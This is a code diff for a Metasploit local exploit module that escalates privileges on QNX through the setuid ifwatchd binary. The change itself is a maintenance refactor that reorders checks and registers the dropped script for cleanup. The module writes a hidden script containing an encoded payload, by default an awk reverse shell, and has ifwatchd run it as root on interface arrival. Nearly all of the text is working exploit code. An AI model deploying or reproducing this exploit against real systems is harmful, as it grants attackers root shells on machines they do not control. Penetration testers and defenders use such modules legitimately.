Use register_file_for_cleanup

modules/exploits/qnx/local/ifwatchd_priv_esc.rb

@@ -6,6 +6,7 @@
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
+  include Msf::Post::Linux::Priv
   include Msf::Post::File
   include Msf::Exploit::FileDropper
 
@@ -61,15 +62,19 @@ class MetasploitModule < Msf::Exploit::Local
           'PAYLOAD'  => 'cmd/unix/reverse_awk'
         }
     ))
-    register_options([
-      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
-    ])
+    register_advanced_options [
+      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
+    ]
   end
 
   def ifwatchd_path
     '/sbin/ifwatchd'
   end
 
+  def base_dir
+    datastore['WritableDir']
+  end
+
   def check
     unless setuid? ifwatchd_path
       vprint_error "#{ifwatchd_path} is not setuid"
@@ -80,25 +85,20 @@ class MetasploitModule < Msf::Exploit::Local
     CheckCode::Detected
   end
 
-  def base_dir
-    datastore['WritableDir']
-  end
-
-  def is_root?
-    id = cmd_exec 'id'
-    (id.include?('uid=0') && id.include?('root'))
-  end
-
   def exploit
+    unless check == CheckCode::Detected
+      fail_with Failure::NotVulnerable, 'Target not vulnerable'
+    end
+
     if is_root?
       fail_with Failure::BadConfig, 'Session already has root privileges'
     end
 
-    unless check == CheckCode::Detected
-      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
+    unless writable? base_dir
+      fail_with Failure::BadConfig, "#{base_dir} is not writable"
     end
 
-    script_path = "#{base_dir}/.#{rand_text_alphanumeric rand(10..15)}"
+    script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
 
     print_status 'Writing interface arrival event script...'
     cmd_exec "echo '#!/bin/sh' > #{script_path}"
@@ -107,15 +107,12 @@ class MetasploitModule < Msf::Exploit::Local
     exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
     cmd_exec "echo \"#{exp}\" >> #{script_path}"
     cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
+    register_file_for_cleanup script_path
 
     cmd_exec "chmod +x '#{script_path}'"
 
     print_status "Executing #{ifwatchd_path}..."
     interface = 'lo0'
     cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
-
-    Rex.sleep 5
-
-    cmd_exec "rm -f '#{script_path}'"
   end
 end